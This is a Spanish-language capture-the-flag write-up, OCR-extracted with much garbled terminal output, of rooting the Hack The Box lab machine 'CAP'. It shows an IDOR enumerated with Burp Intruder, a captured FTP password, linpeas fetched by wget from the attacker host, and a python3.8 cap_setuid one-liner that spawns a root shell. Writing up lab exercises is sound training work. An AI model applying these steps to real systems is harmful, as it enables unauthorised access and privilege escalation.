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Introduccién

En este writeup, documentamos cada paso que seguimos, desde la exploracién
inicial de la red hasta la explotacidn de servicios especificos. Cada descubrimiento
y avance nos permite ver como los pequefios detalles pueden dar lugar a grandes
oportunidades de ataque, y nos ayuda a entender mejor la importancia de las
buenas préacticas en la configuracidon de sistemas y servicios.

A medida que avanzamos en este ejercicio, desentranamos cémo incluso una
pequena falla en el control de acceso (como una vulnerabilidad IDOR) puede
convertirse en un punto de entrada crucial. Esta maquina nos recuerda lo vital que
es la seguridad en cada capa de un sistemay nos desafia a pensar de forma creativa
para explotar cada posibilidad.

1- Objetivo

Elobjetivo principal de este CTF es comprometer completamente la maquina "CAP"
de Hack The Box, escalando privilegios desde un acceso inicial limitado hasta
obtener privilegios de root. Para lograrlo, se requiere identificar y explotar
vulnerabilidades en los servicios expuestos, como HTTP, FTP y SSH para aprovechar
cualquier configuraciéon de seguridad débil presente en el sistema. Este proceso
implica el uso de técnicas de recoleccién de informacién, enumeracion de
servicios y explotacidon de configuraciones mal aseguradas, con el fin de demostrar
los posibles vectores de ataque y las brechas de seguridad que podrian
comprometer el sistema en un entorno real.

2- Alcance

El analisis se limita a la maquina virtual "CAP" de Hack The Box, donde se llevaron
a cabo actividades de enumeracion, explotacion y post-explotacion. Este CTF
simula un entorno real con vulnerabilidades intencionales en servicios como HTTP,
FTP y SSH, con el propésito de fortalecer el aprendizaje practico en técnicas de
hacking y seguridad informatica. Todas las actividades realizadas estan disefiadas
para explorar las debilidades del sistema de manera éticay controlada, respetando
los lineamientos de la plataforma Hack The Box.



3- Resumen

En este analisis de la maquina "CAP" de Hack The Box, recorrimos paso a paso un
conjunto de técnicas de hacking, desde la recoleccidon de informacién inicial hasta
la obtencién de privilegios de root. Comenzamos explorando los servicios
expuestos en la red, encontrando que HTTP, FTP y SSH estaban disponibles. A partir
de ahi, examinamos cada servicio en detalle.

En el panel web, descubrimos una vulnerabilidad IDOR que nos permitié acceder a
un archivo PCAP con credenciales en texto plano, lo que nos abrié las puertas al
sistema mediante FTP. Con este primer acceso, conseguimos la flag de usuario, y
al probar esas mismas credenciales en SSH, avanzamos un paso mas en el
sistema. Finalmente, al investigar opciones de escalada de privilegios,
encontramos que el binario python3.8 tenia capabilities especiales que nos
permitieron ejecutar comandos como root, llevandonos a la flag de root.

3.1- Procedimientos realizados

o Recoleccion de informacion:
e Escaneode lared paraidentificar puertos abiertosy servicios activos.

e Obtencién de informacion detallada sobre los servicios, versiones y
sistema operativo.

e Enumeracion:
e Intentode acceso alservicio FTP con el usuario anonymous, sin éxito.

e Analisis del servicio HTTP y deteccidn de un panel de monitoreo que
muestra el usuario "Nathan" y un menu con secciones adicionales.

e Acceso alaseccion "Security Snapshot" en el panel web, detectando
una posible vulnerabilidad IDOR.



e Explotacioén:

Uso de Burp Suite para capturar y modificar la peticion a /data/xe
iniciar un ataque de enumeracién con el método "sniper".

Identificacién de un archivo PCAP descargable con credenciales en
texto plano para el usuario Nathan.

Conexion al servicio FTP con las credenciales obtenidas y obtencién
de la flag de usuario.

Acceso al servicio SSH con las mismas credenciales para continuar
con la explotacion.

o Escalada de privilegios:

Ejecucidon de linpeas en el sistema para identificar configuraciones y
binarios potencialmente vulnerables.

Deteccién de python3.8 con la capability cap_setuid, permitiendo
cambiar el UID a 0y obtener acceso root.

Ejecucidon de un comando con python3.8 para acceder al sistema
como root y recuperar la flag final.



3.2- Recoleccion de informacion
Escaneo de lared:

Comenzamos a obtener informacién detallada sobre los servicios activos, sus
versiones y el sistema operativo, lo que nos dio una mejor idea de los posibles
puntos de ataque.
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El escaneo reveld varios servicios de interés, lo que nos permitid planificar la
siguiente fase de enumeracion.



HTTP - gunicorn - Puerto 80
SSH - OpenSSH - V8.2p1 - Puerto 22
FTP - vsftpd - V3.0.3 - Puerto 21

SO - Linux



3.3- Enumeracion

FTP: Iniciamos comprobando si el servicio FTP permitia el acceso anénimo. Sin
embargo, este acceso no estaba habilitado, ya que, de haberlo estado, nmap habria
mostrado un mensaje confirmandolo.

[:E_ ]-[10.10.14.65]—[ex @ 1-[~
[#«]% nmap -p 21 --script ftp-anon 10.129.147.70

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-03 07:18
Nmap scan report for 10.129.147.7@

Host is up (0.0088s latency).

PORT  STATE SERVICE
21/tcp open ftp

Nmap done: 1 IP address (1 host up) scanned in 3.39 seconds

|__[. ]-[10.10.14.65]—[excallbur@ | il
[«1$ ||

HTTP: Al explorar el servicio HTTP, encontramos una p&agina de monitoreo de
seguridad que mostraba un usuario llamado "Nathan". Este usuario podria ser util
para probar acceso en otros servicios, como SSH o FTP. Ademas, en el menu lateral
de la pagina habia cuatro apartados:

e "Dashboard"
e "Security Snapshot"
o '"IP Config" & Dashboard

e Network Status"
Dashboard

Nos dirigimos al apartado "Security Snapshot",
donde notamos una redireccion a/data/#. Esta
URL nos sugirio la posible presencia de una
vulnerabilidad de tipo IDOR (Insecure Direct
Object Reference).

IDOR es untipo de fallo de seguridad en el control
de acceso, en la que un sistema permite a un
usuario acceder a recursos de otros usuarios
modificando directamente el identificador (ID) de
esos recursos en la URL o en una solicitud. Esto

ocurre porque el sistema no verifica
correctamente que el usuario tenga permisos para acceder al recurso solicitado.



En esta seccidon de la web, detectamos la posibilidad de descargar archivos PCAP.
Para aprovechar esta vulnerabilidad, abrimos Burp Suite y configuramos un ataque
de tipo "sniper", probando con numeros del 0 al 100 en busca de otros usuarios y
archivos PCAP descargables que contengan informacion adicional.



3.4- Explotacion

Utilizaremos Burp Suite para capturar la peticion a http://10.129.147.70/data/x,
donde x representa el ID del usuario que queremos enumerar.

Intercept is on

Una vez capturada la solicitud, la enviaremos a la herramienta Intrudery
marcaremos la variable x como parametro editable.

(?) Payload positions

ure th iti




En Intruder, seleccionaremos el tipo de ataque "sniper" y nos dirigiremos a la
pestaha de Payloads. Alli configuraremos el payload como Numbers,
especificando un rango de 0 a 100 con un incremento de 1.

Payload sets

1 defne one or more The number ¢

Examples
1

Con la configuracion lista, iniciamos el ataque con el botén Start attack.
Prestaremos atencién a las respuestas con un status code 200 o aquellas con una
longitud inusualmente mayor que las demas, lo cual podria indicar la presencia de
datos relevantes.

<€ 3.Intruder attack of http://10.129.147.70




En este caso, probaremos primero con el ID 0 para observar si obtenemos alguna
informacién interesante. Podemos ver que el ID 0devuelve datos, asi que
procedemos a descargar el archivo PCAP para analizarlo en busca de informacion
relevante.

B
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Dashboard

Data Type

Download

Al examinar el archivo, encontramos las credenciales FTP del usuario Nathan en
texto plano, lo que nos permite acceder al servicio FTP con este usuario. Al
conectarnos, logramos obtener la flag de usuario.

31 2.624570 192.168.196.1 192.168.196.16 TCP 68 54411 — 21 [SYN] Seq=0 Win=64248 Len=0 MSS=1460 WS=256 SACK_PERM

32 2.624624 192.168.196.16 192.168.196.1 TcP 68 21 — 54411 [SYN, ACK] Seq=0 Ack=1 Win=64248 Len=0 MSS=1460 SACK_PERM WS=128
33 2.624934 192.168.196.1 192.168.196.16 TCP 62 54411 - 21 [ACK] Seq=1 Ack=1 Win=1051136 Len=e

34 2.626895 192.168.196.16 192.168.196.1 FTP 76 Response: 220 (vsFTPd 3.0.3)

35 2.667693 192.168.196.1 192.168.196.16 TCP 62 54411 .. 21 [ACK] Seq=1 Ack=21 Win=1051136 Len=0

36 4.126500 192.168.196.1 192.168.196.16 FTP 69 Request: USER nathan

37 4.126526 192.168.196.16 192.168.196.1 TCP 56 21 — 54411 [ACK] Seq=21 Ack=14 Win=64256 Len=0

38 4.126630 192.168.196.16 192.168.196.1 FTP 90 Response: 331 Please specify the password.

39 4.167761 192.168.196.1 192.168.196.16 TCP 62 54411 ~ 21 [ACK] Seq=14 Ack=55 Win=1051136 Len=0
40 5.424998 192.168.196.1 192,168.196.16 78 Request: PASS Buck3tHATFORM3!




[:[ ]1-[1@.10.14.65]—[excallbur@
[#]% Ttp 10.129.147.70

Connected to 10.

Passworxd:
230 Login success
Remote system t

229 Entering Exte
150 Here comes the directory listing.
“I-====-== 1 1001 1001 33 Nov @3 13:12 user.txt
226 Directory send OK.
get user.txt

Mode (|][45079])
mode data connection for user.tx :
33 262.00 KiB/s 00:00 ETA

[«]$ cat user.
957315349eca79b5346

[
«15 I

Nuestro siguiente paso es intentar acceder mediante SSH, ya que el objetivo ahora
es obtener la flag de root.



Al probar las credenciales en SSH, confirmamos que también funcionan para este
servicio. Una vez dentro, observamos que el usuario Nathan tiene ciertos
privilegios, aunque no los suficientes para acceder a la flag de root de manera
directa. Iniciamos entonces un proceso de escalada de privilegios, verificando si
Nathan puede ejecutar algun comando con sudo.

callbur@ 1-1~]

he authenticity of host '10.: A7.7@ (1@.129.147.70)' can't be established.

D25519 key fingerprint is SH UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI.

his key is not known by any other names.

Tre you sure you want to continue connecting (yes/no/[fingexprint])? ye

Warning: Permanently added '10.129.147.7@' (ED25519) to the list of known hosts.
@10.129.147.70's password:

Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-8@-generic x86_64)

* Documentation:
* Management:

* Sup
System information as of Sun Nov 3 14:24:30 UTC 2024

System load:

Usage of /:

Memory usage:

Px ;

Users logged in:

IPv4 address for eth@: 10.129. 70

IPv6 address for eth@: dead ef::250:56FT: fe94

=> There are 4 zombie processes.

* Super-optimized for small spaces - read how we shrank the memory

footprint of Microk8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
updates can be applied immediately.

f th updates are standard security upd
ee these additional updates run: apt list --upgradable

he list of available updates is more than a week old.
o check for new updates run: sudo apt update

: Thu May 27 11:21:27 2021 from 10.10.14.7

[sudo] password for nathan:
Sorry, user nathan may not run sudo on cap.
nathan@cap:~$ I




Al no tener permisos de sudo, exploramos otros binarios en el sistema que puedan
permitirnos escalar a privilegios de root.

natha p:/$ find / -perm -4000 -type f 2>/dev/null
fusr/bin/umount

/usr/bin/newgrp

fusr/bin; B

/usr/bin/mount

fusr/bin/gpasswd

/usr/bin/passwd

fusr/bin/chfn

/usr/bin/sudo

fusr/bin/at

/usr/bin/chsh

/usr/bin/su

/usr/bin/fusermount
/usr/1ib/policykit-1/polkit-agent-helper-1
/usr/1ib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/1ib/dbus-1.@/dbus-daemon-launch-helper
/fusr/lib/eject/dmcrypt-get-device
/snap/snapd/11841/usr/1ib/snapd/snap-confine
/snap/snapd/12398/usxr/1ib/snapd/snap-confine
/snap/corel8/2066/bin/mount
/snap/corel8/2066/bin/ping
/snap/corel8/2066/bi

/snap/corel8/2066/

/snap/corel8/206
/snap/corel8/206
/snap/corel8/206
/snap/corel8/206
/snap/corel :
/snap/corel8/

/snap/corel fusr/1ib
/snap/corel8/2074/bin/mount

/snap/corel8/z

/snap/corel8/2074/usr/bin/chfn
/snap/corel8/2074/usr/bin/chsh
/snap/corel8/2074/usr/bin/gpasswd
/snap/corel8/2@74/usr/bin/newgrp
/snap/corel8/2074/usr/bin/passwd
/snap/corel8/2074/usr/bin/sudo
/snap/corel8/2074/usr/1ib/dbus-1.@/dbus-daemon-launch-helper
/snap/corel8/2@74/usr/1lib/openssh/ssh-keysign

nathar :/$ |




Para identificar un binario que nos permita escalar privilegios, subiremos linpeas al
sistema objetivo.

Primero, descargamos linpeas.sh delrepositorio oficialy lo guardamos en una
carpeta local. Luego, iniciamos un servidor simple de Python para transferir el
archivo.

[:[ ]-[10.10.14.65]—[excallbur@ ]—[~/Desktop/test]

[«]$ python -m http Vel
Serving HTTP on 0.0.9.0 port 800@ (http://0.0.0.0:8000/)

Una vez en el sistema objetivo, utilizamos SSH para descargar linpeasen el
directorio /tmp del servidor.

nath :~% cd /tmp/

nathan@cap: $ wget 10.10.14.65:8000/1inpeas.sh
--2024-11-03 15:00:38-- http://10.10.14.65:8000@/1inpeas.sh
_onnecting to 10.10@.14.65:8000... connected.

TTP request sent, awaiting response... 200 OK

Length: 827739 (8@8K)

Saving to: 'linpeas.sh’

linpeas.sh 100%[=================== >] 808.34K --.-KB/s in 0.06s

2024-11-03 15:00:38 (12.6 MB/s) - ‘linpeas.sh’ save

nath ap: $ 1s

linpeas.sh

natha


https://github.com/peass-ng/PEASS-ng/releases

Después de dar permisos de ejecucion a linpeas, lo ejecutamos para analizar las
configuraciones y permisos del sistema en busca de posibles vulnerabilidades.

$ chmod 775 linpeas.sh
$ 1s -1la

2 root To0t 4996 Nov
root root 4096 Jun
root root 4096 Nov
root root 4096 Nov
root root 4096 Nov
Yoot Toot 4096
Yoot Toot 4096
nathan nathan 827739 Nov
root root 48096 Nov
root root 4896 Nov
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Toot Toot 4996 Nov

root root 4996 Nov

root Toot 4096 Nov

En la seccién de Capabilities, encontramos que el binario /usr/bin/python3.8 tiene
las capabilities cap_setuid y cap_net_bind_service, lo cual no es una configuracion
estandary puede ser aprovechado para escalacioén de privilegios.

= ,cap_net_admin+ep

El binario /usr/bin/python3.8 tiene cap_setuid y cap_net_bind_service, que no es la
configuracion por defecto, esto puede ser Util para la escalada de privilegios.

Para hacerlo, ejecutamos el siguiente comando:

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")’

ap:~%$ /usr/bin/python3.8 -c 'import os; os.setuid(@); os.system("/bin/bash")’
# id
) gid=10@1(nathan) groups=1001(nathan)

:~# sudo -1

User root may run the following commands on cap:
(ALL : ALL) ALL

: #I




Conaccesoroot, podemos navegar hasta el directorio /root y obtener la flag de root,
completando asi el CTF.

p: # cat root.tx
2e5cb94fe9d@cee72737d6b0a

#1

Conclusion

En conclusion, el andlisis de la maquina "CAP" de Hack The Box nos ha permitido
poner en practica una variedad de técnicas de recoleccién de informacion,
enumeracion y explotacion de vulnerabilidades, llevandonos desde un acceso
inicial limitado hasta el nivel de root. A lo largo del proceso, exploramos los
servicios FTP, HTTP y SSH, aprovechando configuraciones incorrectas vy
vulnerabilidades de control de acceso (IDOR) para obtener informacién critica,
como credenciales en texto plano.

La escalada de privilegios a través del binario python3.8 con capabilities
especificas nos mostré como configuraciones aparentemente menores pueden
convertirse en oportunidades para un atacante. Este ejercicio destaca la
importancia de una configuracion de seguridad cuidadosa y de la revision regular
de permisos en el sistema.



